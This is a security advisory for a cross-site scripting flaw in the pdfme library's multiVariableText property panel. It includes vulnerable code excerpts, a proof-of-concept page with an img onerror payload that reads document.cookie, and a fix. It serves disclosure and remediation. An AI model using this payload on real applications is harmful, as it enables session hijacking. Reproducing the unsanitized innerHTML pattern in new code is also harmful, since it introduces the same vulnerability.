GHSA-xgx4-2wgv-4jhm
PDFME has XSS via Unsanitized i18n Label Injection into innerHTML in multiVariableText propPanel
Quick fix
GHSA-xgx4-2wgv-4jhm — @pdfme/schemas: upgrade to the fixed version with the command below.
npm install @pdfme/schemas@5.5.10Details
## Summary
The multiVariableText property panel in `@pdfme/schemas` constructs HTML via string concatenation and assigns it to `innerHTML` using unsanitized i18n label values. An attacker who can control label overrides passed through `options.labels` can inject arbitrary JavaScript that executes in the context of any user who opens the Designer and selects a multiVariableText field with no `{variables}` in its text.
## Details
When a user selects a multiVariableText schema field that contains no `{variable}` placeholders, the property panel renders instructional text by concatenating i18n-translated strings directly into `innerHTML`.
**Vulnerable sink** — `packages/schemas/src/multiVariableText/propPanel.ts:65-71`:
```typescript // Use safe string concatenation for innerHTML const typingInstructions = i18n('schemas.mvt.typingInstructions'); const sampleField = i18n('schemas.mvt.sampleField'); para.innerHTML = typingInstructions + ` <code style="color:${safeColorValue}; font-weight:bold;">{` + sampleField + '}</code>'; ```
The comment on line 64 claims "safe string concatenation" but the result is assigned to `innerHTML` with no HTML escaping applied to `typingInstructions` or `sampleField`.
**i18n lookup has no escaping** — `packages/ui/src/i18n.ts:903`:
```typescript export const i18n = (key: keyof Dict, dict?: Dict) => (dict || getDict(DEFAULT_LANG))[key]; ```
This is a plain dictionary lookup — no HTML encoding or sanitization.
**Label override via deep merge** — `packages/ui/src/components/AppContextProvider.tsx:57-63`:
```typescript let dict = getDict(lang); if (options.labels) { dict = deepMerge( dict as unknown as Record<string, unknown>, options.labels as unknown as Record<string, unknown>, ) as typeof dict; } ```
User-supplied `options.labels` values are deep-merged into the i18n dictionary with no content sanitization. The Zod schema validates labels as `z.record(z.string(), z.string())` — enforcing type but not content safety.
**Inconsistency:** The color value on lines 58-62 is explicitly validated with a regex allowlist, demonstrating security awareness. The i18n string values were simply overlooked.
## PoC
1. **Create a minimal app that passes attacker-controlled labels:**
```html <html> <body> <div id="designer-container" style="width:100%;height:700px;"></div> <script type="module"> import { Designer } from '@pdfme/ui'; import { multiVariableText } from '@pdfme/schemas';
const template = { basePdf: { width: 210, height: 297, padding: [10, 10, 10, 10] }, schemas: [[{ type: 'multiVariableText', name: 'field1', text: 'plain text with no variables', content: '{}', variables: [], position: { x: 20, y: 20 }, width: 100, height: 20, readOnly: true, }]], };
new Designer({ domContainer: document.getElementById('designer-container'), template, plugins: { multiVariableText }, options: { labels: { 'schemas.mvt.typingInstructions': '<img src=x onerror="document.title=document.cookie">Inject: ', 'schemas.mvt.sampleField': 'safe', }, }, }); </script> </body> </html> ```
2. **Open the application in a browser.**
3. **Click on the multiVariableText field** (`field1`) in the Designer canvas to select it.
4. **Observe:** The property panel renders the injected HTML. The `onerror` handler executes, setting `document.title` to the page's cookies. In a real attack, this would exfiltrate session tokens to an attacker-controlled server.
## Impact
- **Session hijacking:** Attacker-injected JavaScript can steal authentication cookies and tokens from any user who opens the Designer. - **DOM manipulation:** The injected script runs in the application's origin, allowing phishing overlays, form hijacking, or data exfiltration. - **Stored XSS potential:** In multi-tenant applications where labels are stored in a database or fetched from an API, a single poisoned label entry affects all users who subsequently open the Designer. - **Scope change:** The XSS payload executes in the embedding application's browser context, escaping the pdfme component's security boundary.
## Recommended Fix
Replace `innerHTML` with safe DOM APIs in `packages/schemas/src/multiVariableText/propPanel.ts`:
```typescript // BEFORE (vulnerable): para.innerHTML = typingInstructions + ` <code style="color:${safeColorValue}; font-weight:bold;">{` + sampleField + '}</code>';
// AFTER (safe): para.appendChild(document.createTextNode(typingInstructions + ' ')); const codeEl = document.createElement('code'); codeEl.style.color = safeColorValue; codeEl.style.fontWeight = 'bold'; codeEl.textContent = `{${sampleField}}`; para.appendChild(codeEl); ```
This ensures that i18n label values are always treated as text content, never parsed as HTML, regardless of their source.
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